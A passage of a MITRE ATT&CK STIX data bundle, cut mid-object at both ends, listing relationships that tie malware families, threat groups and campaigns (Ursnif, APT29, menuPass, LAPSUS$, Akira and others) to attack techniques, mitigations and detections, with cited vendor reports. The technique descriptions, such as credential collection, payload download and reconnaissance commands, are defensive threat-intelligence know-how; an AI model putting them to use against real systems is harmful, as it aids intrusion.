2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d57e872-1062-4bab-b3c5-3cea17cba4dc","type":"relationship","created":"2020-03-14T22:34:03.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T23:15:48.010Z","description":"Web proxies can be used to enforce external network communication policy that prevents use of unauthorized external services.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d600c05-c617-46f4-947f-cdd6ca56d494","type":"relationship","created":"2020-10-20T15:52:49.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-16T17:44:09.635Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764","type":"relationship","created":"2017-05-31T21:33:27.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-19T17:10:50.947Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware uses WMI to script data collection and command execution on the victim.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d6b67b8-016a-4335-89f1-2cdb7ed778c1","created":"2022-10-06T21:28:32.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T13:17:18.518Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `net view` and `ping` commands as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d6df769-7a34-4642-85f5-bf577973456e","type":"relationship","created":"2021-10-14T20:28:09.822Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Clop April 2021","url":"https://unit42.paloaltonetworks.com/clop-ransomware/","description":"Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021."},{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}],"modified":"2021-10-14T20:28:09.822Z","description":"(Citation: Unit42 Clop April 2021)(Citation: Cybereason Clop Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d6e04e8-8e4c-4ef6-ab6a-12ddb498e93a","type":"relationship","created":"2020-08-10T14:43:04.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-10T14:43:04.562Z","description":"[Cryptoistic](https://attack.mitre.org/software/S0498) can engage in encrypted communications with C2.(Citation: SentinelOne Lazarus macOS July 2020)","relationship_type":"uses","source_ref":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d7506cd-4869-48f9-a0e0-cb70d6b482ff","created":"2022-09-27T17:54:38.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-07T20:37:23.884Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used `nbtscan` and `ping` to discover remote systems, as well as `dsquery subnet` on a domain controller to retrieve all subnets in the Active Directory.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d76add8-c0f1-44e3-abf2-f6063c43a100","created":"2024-09-23T17:26:32.568Z","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T17:26:32.568Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) clears the file location `/proc//environ` removing all environment variables for the process.(Citation: Sandfly BPFDoor 2022) ","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d7811d3-d4ee-4114-b841-c0463f2274be","type":"relationship","created":"2019-04-24T20:50:12.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.635Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can be configured to reconnect at certain intervals.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d7c99f4-b1af-4278-b8bf-3bb04cce166d","type":"relationship","created":"2020-06-19T20:04:12.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:04:12.191Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has disguised a Cobalt Strike beacon as a Flash Installer.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d7e0555-3176-4ebe-b067-6e557e9040a9","created":"2023-03-23T18:37:14.829Z","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T18:37:14.829Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used social media platforms to hide communications to C2 servers.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d853746-8d17-4d1a-be4a-6133e39a6c84","created":"2024-04-04T18:08:19.396Z","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T18:08:19.396Z","description":"[Akira](https://attack.mitre.org/software/S1129) uses the GetSystemInfo Windows function to determine the number of processors on a victim machine.(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d855c57-c9a7-4f7a-83c5-7649550c1ad1","created":"2024-09-27T12:44:37.358Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T12:44:37.358Z","description":"The initial detection of a malicious tool or anomalous behavior may trigger an anti-virus or other security tool alert, and may be one of the only indications received before the code is able to mutate and evade the same type of detection. The alerting system should be thoroughly investigated beyond the initial alert for activity that may not have been detected.","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.605Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used tcping.exe, similar to [Ping](https://attack.mitre.org/software/S0097), to probe port status on systems of interest.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d88d99d-88b0-4e49-b2c3-3607a32069ed","type":"relationship","created":"2019-06-05T17:31:22.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279","source_name":"TrendMicro PE_URSNIF.A2"},{"source_name":"TrendMicro BKDR_URSNIF.SM","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279","description":"Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.444Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has dropped payload and configuration files to disk. [Ursnif](https://attack.mitre.org/software/S0386) has also been used to download and execute additional payloads.(Citation: TrendMicro PE_URSNIF.A2)(Citation: TrendMicro BKDR_URSNIF.SM)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d891052-0c98-4d4a-8d1b-42a02f656eaf","type":"relationship","created":"2020-10-16T12:22:53.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T17:53:51.022Z","description":"Ensure that all wired and/or wireless traffic is encrypted appropriately. Use best practices for authentication protocols, such as Kerberos, and ensure web traffic that may contain credentials is protected by SSL/TLS.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d8aa058-426a-45c9-af5b-898746ae5862","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Transparent Tribe August 2020","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.","url":"https://securelist.com/transparent-tribe-part-1/98127/"},{"source_name":"Proofpoint Operation Transparent Tribe March 2016","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"},{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:16:28.718Z","description":"[Crimson](https://attack.mitre.org/software/S0115) contains commands to list files and directories, as well as search for files matching certain extensions from a defined list.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d8d668e-ce2f-4ef8-8dd4-8c9cd17f2b23","created":"2020-07-15T20:23:36.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.249Z","description":"[Carberp](https://attack.mitre.org/software/S0484)'s passw.plug plugin can gather account information from multiple instant messaging, email, and social media services, as well as FTP, VNC, and VPN clients.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"FireEye FIN7 March 2017","url":"https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TEXTMATE](https://attack.mitre.org/software/S0146) uses DNS TXT records for C2.(Citation: FireEye FIN7 March 2017)","modified":"2022-07-20T20:06:44.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d93e75b-e13d-4bd5-97d2-b4f8d05e9efd","type":"relationship","created":"2019-01-29T18:44:05.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."}],"modified":"2020-05-28T23:41:03.886Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can collect account information from the victim’s machine.(Citation: DigiTrust Agent Tesla Jan 2017)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0d9523d3-ab60-48df-b5c5-2778e1727439","created":"2022-06-10T14:36:02.657Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has searched a victim's network for collaboration platforms like Confluence and JIRA to discover further high-privilege account credentials.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T14:36:02.657Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d95b411-1192-42d0-96b1-98fe18742a04","created":"2019-05-28T19:51:24.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Mar 2018","description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:49:27.710Z","description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) can collect the victim's operating system and computer name during the initial infection.(Citation: Proofpoint TA505 Mar 2018)","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"}],"modified":"2020-03-18T15:34:10.609Z","description":"In one instance, [menuPass](https://attack.mitre.org/groups/G0045) added [PlugX](https://attack.mitre.org/software/S0013) as a service with a display name of \"Corel Writing Tools Utility.\"(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d9b3bc8-8aff-4556-9a5f-1d4f91eb93b9","created":"2024-02-12T19:14:03.879Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T19:14:03.879Z","description":"(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0da38f11-0e39-4505-aa05-61464113ba8f","created":"2024-03-15T19:57:42.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T21:06:31.595Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) decrypts its encrypted configuration files prior to execution.(Citation: SCILabs Malteiro 2021)(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0da580d1-4c87-4ec0-8b1a-52eb02deb582","created":"2022-03-30T14:26:51.867Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft SolarWinds Customer Guidance","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."},{"source_name":"Sygnia Golden SAML","url":"https://www.sygnia.co/golden-saml-advisory","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for logins using SAML tokens which do not have corresponding 4769 and 1200 events in the domain.(Citation: Sygnia Golden SAML) These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer 